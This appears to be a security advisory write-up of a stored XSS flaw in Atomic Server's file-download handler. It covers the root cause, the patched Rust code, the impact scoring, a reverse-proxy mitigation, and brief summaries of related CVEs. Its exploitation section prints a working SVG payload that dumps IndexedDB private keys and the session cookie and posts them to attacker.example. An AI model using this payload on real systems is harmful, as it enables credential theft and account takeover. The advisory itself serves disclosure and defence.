Nov 19, 2026·10 min read·2 visits
Atomic Server prior to v0.40.3 serves user-uploaded files inline from the primary origin without forcing an attachment disposition or setting nosniff headers. An authenticated attacker can upload an HTML or SVG document containing JavaScript to extract a victim's session cookie and Ed25519 private signing keys from IndexedDB when the victim navigates to the download URL.
CVE-2026-69155 (GHSA-x277-3wcg-g9r2) is a stored cross-site scripting (XSS) vulnerability in Atomic Server versions 0.30.0 prior to 0.40.3. The vulnerability resides in the HTTP file-download handler (server/src/handlers/download.rs), which serves user-uploaded files with an inline Content-Disposition and attacker-controlled MIME types such as text/html or image/svg+xml. Because the endpoint lacks X-Content-Type-Options: nosniff and Content-Security-Policy restrictions, an authenticated user with upload privileges can store malicious JavaScript that executes within a victim's browser in the primary application origin. Executing code in this context grants access to non-HttpOnly session cookies and unencrypted Ed25519 cryptographic private keys stored in IndexedDB, leading to full account takeover.
Atomic Server (ontola/atomic-server) is an open-source headless content management system and real-time graph database implemented in Rust using the Actix Web framework. It exposes HTTP endpoints that allow authenticated entities, referred to as Agents, to create structured resources and upload binary attachments. Uploaded files are ingested via the POST /upload endpoint and subsequently retrieved by clients through the GET /download/{path} routing logic.
In versions starting from 0.30.0 and prior to 0.40.3, the download handler (server/src/handlers/download.rs) serves stored files directly to requesting clients without sanitizing active content types or enforcing protective HTTP response headers. Specifically, when serving uploaded files, the server honors the MIME type provided during upload (such as text/html or image/svg+xml) and defaults to an inline content disposition. It also omits the X-Content-Type-Options: nosniff header and lacks a restrictive Content-Security-Policy (CSP) on the download route.
This behavior introduces a stored cross-site scripting vulnerability tracked as CVE-2026-69155 (GHSA-x277-3wcg-g9r2) and classified under CWE-79. Because the /download/{path} endpoint is hosted on the same domain and port as the main Atomic Server web application, any top-level navigation to a maliciously crafted .html or .svg upload causes the browser to parse and execute embedded JavaScript within the primary application origin.
The architectural design of Atomic Server amplifies the impact of same-origin script execution. The application relies on client-side cryptographic signing using Ed25519 keypairs, storing the unencrypted private keys directly inside the browser's IndexedDB. Additionally, the server's session cookie (atomic_session) is issued without the HttpOnly flag. Consequently, an attacker with minimal write privileges can upload a malicious file and lure an administrator into viewing the link, resulting in immediate theft of persistent cryptographic identities and active session tokens.
The root cause of CVE-2026-69155 is the unsafe reliance on default HTTP response generation behaviours within the file retrieval pipeline in server/src/handlers/download.rs. Across both the filesystem-backed storage branch and the content-addressed BLAKE3 blob storage branch, the server trusts the stored MIME type metadata associated with a file resource and constructs an HTTP response that permits inline browser rendering.
In the filesystem-based implementation, the handler resolves the local file path and delegates response construction to actix_files::NamedFile::into_response(req). By design, actix-files determines the Content-Type from the file extension or stored metadata and sets the Content-Disposition header to inline for standard web document types, including text/html, application/xhtml+xml, and image/svg+xml. In the content-addressed storage model (Tree::Blobs), the handler constructs an HttpResponse::Ok() directly, passing the user-controlled mimetype string into .content_type(mimetype) without attaching any Content-Disposition header, which browsers implicitly treat as inline.
When a browser performs a top-level navigation to a /download/{path} URL returning an executable MIME type with an inline disposition, it instantiates a document context bound to the server's origin. Because the response does not include X-Content-Type-Options: nosniff, browsers may also perform MIME sniffing on ambiguous payloads (such as application/octet-stream on certain legacy paths) and upgrade them to executable HTML if HTML tags are detected in the initial byte stream.
Furthermore, Atomic Server does not isolate user content onto a separate sandbox domain (e.g., usercontent.example.com) and does not emit a Content-Security-Policy: sandbox header on download routes. Because the Same-Origin Policy (SOP) grants a document full access to all storage APIs linked to its scheme, host, and port, the executed script operates with the exact same privileges as the core Atomic Server frontend bundle.
The remediation for CVE-2026-69155 was implemented across two distinct commits to address both the filesystem-backed download handler and the content-addressed blob download handler. In commit 8a8badfd3099765e62ccf6f92dc78a408a11106f, the developers modified server/src/handlers/download.rs to intercept the actix_files::NamedFile response before it is returned to the Actix Web router.
Prior to the patch, download_file_handler_partial opened the target file from disk—either the raw upload or a processed image rendition—and immediately called file.into_response(req):
// Vulnerable code path in server/src/handlers/download.rs
if params.q.is_none() && params.w.is_none() && params.f.is_none() {
let file = NamedFile::open(&file_path)?;
// Defaults to Content-Disposition: inline for HTML/SVG without nosniff
return Ok(file.into_response(req));
}The patch introduces a helper function named force_attachment and replaces all three file.into_response(req) return points in download_file_handler_partial with calls to this wrapper. The wrapper explicitly overrides the disposition type to DispositionType::Attachment and injects the x-content-type-options: nosniff header into the mutable header map:
// Patched implementation in commit 8a8badfd3099765e62ccf6f92dc78a408a11106f
fn force_attachment(file: NamedFile, req: &HttpRequest, filename: Option<String>) -> HttpResponse {
let parameters = match filename {
Some(name) => vec![DispositionParam::Filename(name)],
None => vec![],
};
// Force browser to download the file rather than rendering inline
let file = file.set_content_disposition(ContentDisposition {
disposition: DispositionType::Attachment,
parameters,
});
let mut response = file.into_response(req);
// Prevent browser MIME-sniffing escalation
response.headers_mut().insert(
HeaderName::from_static("x-content-type-options"),
HeaderValue::from_static("nosniff"),
);
response
}In commit 457c1dc9af4cd00d2aec89720718e504a49f392d, an equivalent fix was applied to the content-addressed storage branch where files are retrieved as raw Vec<u8> byte vectors from Tree::Blobs via BLAKE3 hashes. Previously, handle_download, download_file_handler_partial, and serve_processed_image constructed responses using HttpResponse::Ok().content_type(mimetype).body(bytes).
// Patched implementation in commit 457c1dc9af4cd00d2aec89720718e504a49f392d
fn user_blob_response(content_type: impl AsRef<str>, bytes: Vec<u8>) -> HttpResponse {
HttpResponse::Ok()
.content_type(content_type.as_ref())
.insert_header((
actix_web::http::header::CONTENT_DISPOSITION,
ContentDisposition {
disposition: DispositionType::Attachment,
parameters: vec![],
},
))
.insert_header((
actix_web::http::header::HeaderName::from_static("x-content-type-options"),
actix_web::http::header::HeaderValue::from_static("nosniff"),
))
.body(bytes)
}> [!NOTE]
> Fix Completeness Assessment: The patch is complete across all return paths in download.rs, covering raw file fetches, content-addressed /files/ hash lookups, blob_did resolution, and cached or newly generated image transformations. Enforcing Content-Disposition: attachment stops top-level navigation from rendering active documents in the browser while preserving legitimate subresource embedding (such as <img src="/download/..."> within the web application), as the Content-Disposition header only governs top-level document navigation.
Exploiting CVE-2026-69155 requires two primary prerequisites: the attacker must possess an authenticated Agent account with write permissions to upload files to at least one resource on the Atomic Server (PR:L), and a target user must perform a top-level navigation to the resulting download URL (UI:R). No specialized server configurations are required, as file uploads and downloads are core functionality enabled by default.
To execute the attack, the adversary first prepares an active document such as an SVG image (payload.svg) or an HTML file (payload.html). Using an SVG payload is often advantageous because .svg extensions and image/svg+xml MIME types frequently bypass superficial file-type inspections while supporting full ECMAScript execution via <script> tags and event handlers like onload.
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="exfiltrate()">
<script><![CDATA[
async function exfiltrate() {
const sessionCookie = document.cookie;
let idbData = {};
// Enumerate and dump same-origin IndexedDB stores containing Agent Ed25519 keys
if (window.indexedDB && indexedDB.databases) {
const dbs = await indexedDB.databases();
for (const dbInfo of dbs) {
const req = indexedDB.open(dbInfo.name);
req.onsuccess = (e) => {
const db = e.target.result;
for (const storeName of db.objectStoreNames) {
const tx = db.transaction(storeName, 'readonly');
const getAll = tx.objectStore(storeName).getAll();
getAll.onsuccess = () => {
fetch('https://attacker.example/collect', {
method: 'POST',
mode: 'no-cors',
body: JSON.stringify({
cookie: sessionCookie,
db: dbInfo.name,
store: storeName,
keys: getAll.result
})
});
};
}
};
}
}
}
]]></script>
</svg>The attacker uploads this file by sending an authenticated POST /upload request with Content-Type: multipart/form-data, specifying image/svg+xml as the part's MIME type. Atomic Server stores the file and creates a corresponding File resource containing the download URL (e.g., https://target.example.com/download/uploads/1720250000-payload.svg or a content-addressed /download/files/<blake3_hash> path).
The attacker then distributes this direct /download/... URL to a higher-privileged user or administrator, either by embedding the link inside a shared Atomic document or via an external message. When the victim clicks the link, the browser opens the URL as a top-level document. The server responds with Content-Type: image/svg+xml and an implicit or explicit Content-Disposition: inline, causing the browser to execute the exfiltrate() routine within the https://target.example.com origin and transmit the victim's atomic_session cookie and Ed25519 private keys to the attacker.
The security impact of CVE-2026-69155 is high, carrying a CVSS v3.1 base score of 8.7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N). The Scope is marked as Changed (S:C) because the vulnerable component is the HTTP server's download handler, while the vulnerable execution occurs within the client's browser runtime, crossing trust boundaries to compromise client-side cryptographic storage and subsequently full server-side administrative authorization.
Confidentiality impact is rated High (C:H). Because the atomic_session cookie lacks the HttpOnly attribute, the injected script can read it directly from document.cookie. More critically, Atomic Server authenticates mutations and read requests using client-side Ed25519 digital signatures signed by an Agent's private key. Because this private key is stored unencrypted in the browser's IndexedDB, an attacker executing JavaScript in the origin can extract the raw private key material.
Integrity impact is likewise rated High (I:H). Unlike traditional session hijacking where an attacker's access expires when the session cookie is invalidated, exfiltrating the victim's Ed25519 private key allows permanent cryptographic impersonation until the Agent's public key is explicitly rotated or revoked on the server. If the compromised victim is an administrator or root Agent, the attacker gains unrestricted capability to create, modify, overwrite, or delete any resource in the database, as well as modify access control lists (ACLs) across the entire Atomic Server instance.
Availability impact is rated None (A:N) within the CVSS vector because the vulnerability itself does not degrade server performance or trigger a process crash during exploitation. However, an attacker who achieves administrative takeover via key theft could subsequently delete database resources or revoke legitimate users' permissions. According to threat intelligence data, the vulnerability has an EPSS score of 0.0043 (37.87th percentile) and is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.
The primary remediation is to upgrade Atomic Server to version 0.40.3 or later. Release v0.40.3 incorporates commits 8a8badfd3099765e62ccf6f92dc78a408a11106f and 457c1dc9af4cd00d2aec89720718e504a49f392d, which ensure that all responses generated by the /download endpoint include Content-Disposition: attachment and X-Content-Type-Options: nosniff. Organizations compiling from source or integrating Atomic crates directly should update atomic-server, atomic_lib, atomic-cli, and atomic-server-tauri in their Cargo.toml manifests to >= 0.40.3.
For environments where an immediate binary upgrade is not feasible, administrators can mitigate the vulnerability at the network edge by configuring a reverse proxy (such as NGINX, Caddy, or Traefik) to overwrite response headers on the /download route. Enforcing an attachment disposition, disabling MIME sniffing, and applying a strict sandbox Content Security Policy at the proxy layer neutralizes inline script execution:
location /download/ {
proxy_pass http://127.0.0.1:9883;
# Strip upstream Content-Disposition and force attachment download
proxy_hide_header Content-Disposition;
add_header Content-Disposition "attachment" always;
# Prevent browser MIME-sniffing and isolate execution context
add_header X-Content-Type-Options "nosniff" always;
add_header Content-Security-Policy "sandbox; default-src 'none';" always;
}As a post-remediation check, security teams on previously vulnerable instances should audit uploaded file resources in the database for suspicious MIME types, specifically text/html, image/svg+xml, application/xhtml+xml, and text/javascript. If any unauthorized active documents are discovered, any Agent accounts that interacted with the instance should rotate their Ed25519 keypairs and invalidate active sessions.
From a defense-in-depth engineering perspective, applications handling user-uploaded files and client-side cryptographic keys should implement additional architectural safeguards. Serving user uploads from an isolated, cookie-less sandbox domain (e.g., files.example-usercontent.com) prevents same-origin access even if an inline rendering flaw occurs. Furthermore, session cookies should always be flagged with HttpOnly; Secure; SameSite=Lax, and client-side signing architectures should utilize the Web Crypto API (SubtleCrypto) with non-exportable CryptoKey objects (extractable: false) inside IndexedDB so that XSS payloads cannot exfiltrate raw private key bytes.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
atomic-server ontola | >= 0.30.0, < 0.40.3 | 0.40.3 |
| Attribute | Detail |
|---|---|
| Vulnerability Type | CWE-79: Stored Cross-Site Scripting (XSS) |
| Affected Component | server/src/handlers/download.rs (GET /download/{path}) |
| CVSS v3.1 Score | 8.7 High (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N) |
| EPSS Score | 0.43% (37.87th percentile) |
| Primary Impact | Exfiltration of non-HttpOnly session cookies and IndexedDB Ed25519 private keys |
| Patched Version | Atomic Server v0.40.3 |
| Exploit Status | Proof-of-Concept documented in security advisory |
| CISA KEV Status | Not Listed |
The software receives input from an upstream component, but does not neutralize or incorrectly neutralizes special characters before placing it into output that is used as a web page that is served to other users.
CVE-2026-69156 is an authenticated path traversal and arbitrary file read vulnerability in Ontola Atomic Server versions 0.30.0 prior to 0.40.3. The flaw arises from a failure to restrict server-managed properties during Commit ingestion in lib/src/commit.rs, combined with unsanitized filesystem path construction in the /download endpoint handler in server/src/handlers/download.rs. An authenticated Agent can assign an arbitrary relative or absolute filesystem path to the internalId property of an owned resource and retrieve the target file via the download endpoint, exposing the server configuration file (config.toml) and the root Agent ED25519 private key.
CVE-2026-69157 (GHSA-pfwx-xjp4-qxcj) is a critical missing authentication vulnerability (CWE-306) affecting Atomic Server versions 0.29.0 through 0.40.2. During initial deployment, the server exposes an unauthenticated /setup endpoint that generates an invite token granting root write permissions across the entire Drive. Because the invite redemption handler discards the redeemer identity, an unauthenticated remote attacker can intercept or request this setup invite on an unclaimed instance, register an arbitrary Agent public key, and assume full administrative control over the database.
CVE-2026-69158 is a high-severity Server-Side Request Forgery (SSRF) vulnerability in Ontola Atomic Server (atomic-server) and its underlying Rust library (atomic_lib). Prior to versions 0.40.2 and 0.40.3, the server exposed an unauthenticated HTTP GET endpoint at /bookmark (and handled user-supplied URLs via POST to /import) that fetched arbitrary caller-supplied URLs after performing only a naive string prefix check. Because endpoint routing bypassed read authorization checks and reflected the retrieved content back to the client, unauthenticated remote attackers can force the server to issue HTTP GET requests to internal network destinations, localhost services, and cloud instance metadata endpoints.
CVE-2026-71425 (GHSA-7jvc-9xq8-frff) is a Server-Side Request Forgery (SSRF) and credential exposure vulnerability in Outstatic, an open-source Next.js-based static site Content Management System (CMS). In versions prior to 2.2.1, the authenticated GitHub REST proxy (/api/outstatic/github) constructed upstream URLs via insecure string concatenation of an unvalidated endpoint parameter and merged arbitrary user-supplied HTTP headers directly into outbound requests. Because the proxy automatically attaches the active user's GitHub OAuth access token to these requests, an authenticated caller or an attacker leveraging a cross-origin request primitive can redirect the server's outbound request to an arbitrary external host and exfiltrate the OAuth bearer token.
CVE-2026-71861 (GHSA-wq26-3j2m-4hvv) is a high-severity authentication bypass and cryptographic signature-binding replay vulnerability in the Chainguard Go SDK (chainguard.dev/sdk / github.com/chainguard-dev/sdk) affecting versions prior to v0.1.107. The vulnerability resides in the auth/aws.VerifyToken function, which validates AWS STS GetCallerIdentity requests signed with AWS Signature Version 4 (SigV4) to authenticate AWS workloads. Prior to version v0.1.107, VerifyToken verified the values of custom HTTP binding headers (Chainguard-Audience and Chainguard-Identity) without confirming that those headers were listed in the SigV4 SignedHeaders parameter of the Authorization header. Because AWS STS ignores unsigned headers when recomputing and verifying the SigV4 signature, an attacker who captures any valid, fresh SigV4-signed STS GetCallerIdentity request from a victim AWS principal can inject or overwrite the Chainguard-Audience and Chainguard-Identity headers and replay the token to bypass authentication and impersonate the victim identity.
CVE-2026-73864 is a CWE-494 (Download of Code Without Integrity Check) vulnerability in the Node.js package install-artifact-from-github prior to version 1.7.0. The tool downloads precompiled native Node.js C/C++ addons (.node binaries) from GitHub Releases or configurable mirrors and writes them directly to disk without verifying cryptographic checksums or signatures. Furthermore, its HTTP client follows cross-protocol redirects from HTTPS to plaintext HTTP. When the consuming application loads the downloaded addon via require(), the unverified native binary executes immediately within the Node.js process, permitting arbitrary native code execution if an attacker compromises a GitHub release asset, poisons a configured mirror, or intercepts downgraded network traffic.